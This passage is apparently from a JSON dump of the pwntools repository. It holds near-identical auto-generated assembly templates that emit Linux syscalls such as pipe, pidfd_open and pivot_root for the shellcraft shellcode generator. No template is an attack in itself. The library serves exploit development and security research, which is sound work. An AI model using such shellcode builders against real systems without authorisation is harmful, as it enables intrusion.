   elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_perf_event_open']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_perf_event_open'])\n%>\n    /* perf_event_open(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/personality.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>personality(persona) -> str\n\nInvokes the syscall personality.\n\nSee 'man 2 personality' for more information.\n\nArguments:\n    persona(unsigned): persona\nReturns:\n    int\n</%docstring>\n<%page args=\"persona=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['persona']\n    argument_values = [persona]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_personality']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_personality'])\n%>\n    /* personality(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/pidfd_getfd.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>pidfd_getfd(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall pidfd_getfd.\n\nSee 'man 2 pidfd_getfd' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_pidfd_getfd']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_pidfd_getfd'])\n%>\n    /* pidfd_getfd(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/pidfd_open.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>pidfd_open(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall pidfd_open.\n\nSee 'man 2 pidfd_open' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_pidfd_open']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_pidfd_open'])\n%>\n    /* pidfd_open(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/pidfd_send_signal.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>pidfd_send_signal(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall pidfd_send_signal.\n\nSee 'man 2 pidfd_send_signal' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_pidfd_send_signal']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_pidfd_send_signal'])\n%>\n    /* pidfd_send_signal(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/pipe.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>pipe(pipedes) -> str\n\nInvokes the syscall pipe.\n\nSee 'man 2 pipe' for more information.\n\nArguments:\n    pipedes(int*): pipedes\nReturns:\n    int\n</%docstring>\n<%page args=\"pipedes=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['pipedes']\n    argument_values = [pipedes]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_pipe']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_pipe'])\n%>\n    /* pipe(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/pipe2.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>pipe2(pipedes, flags) -> str\n\nInvokes the syscall pipe2.\n\nSee 'man 2 pipe2' for more information.\n\nArguments:\n    pipedes(int*): pipedes\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"pipedes=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['pipedes', 'flags']\n    argument_values = [pipedes, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_pipe2']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_pipe2'])\n%>\n    /* pipe2(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/pivot_root.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>pivot_root(new_root, put_old) -> str\n\nInvokes the syscall pivot_root.\n\nSee 'man 2 pivot_root' for more information.\n\nArguments:\n    new_root(char*): new_root\n    put_old(char*): put_old\nReturns:\n    int\n</%docstring>\n<%page args=\"new_root=0, put_old=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['new_root', 'put_old']\n    can_pushstr_array = []\n\n    argument_names = ['new_root', 'put_old']\n    argument_values = [new_root, put_old]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_pivot_root']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_pivot_root'])\n%>\n    /* pivot_root(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/pkey_alloc.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>pkey_alloc(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall pkey_alloc.\n\nSee 'man 2 pkey_alloc' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_pkey_alloc']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_pkey_alloc'])\n%>\n    /* pkey_alloc(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/pkey_free.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>pkey_free(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall pkey_free.\n\nSee 'man 2 pkey_free' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                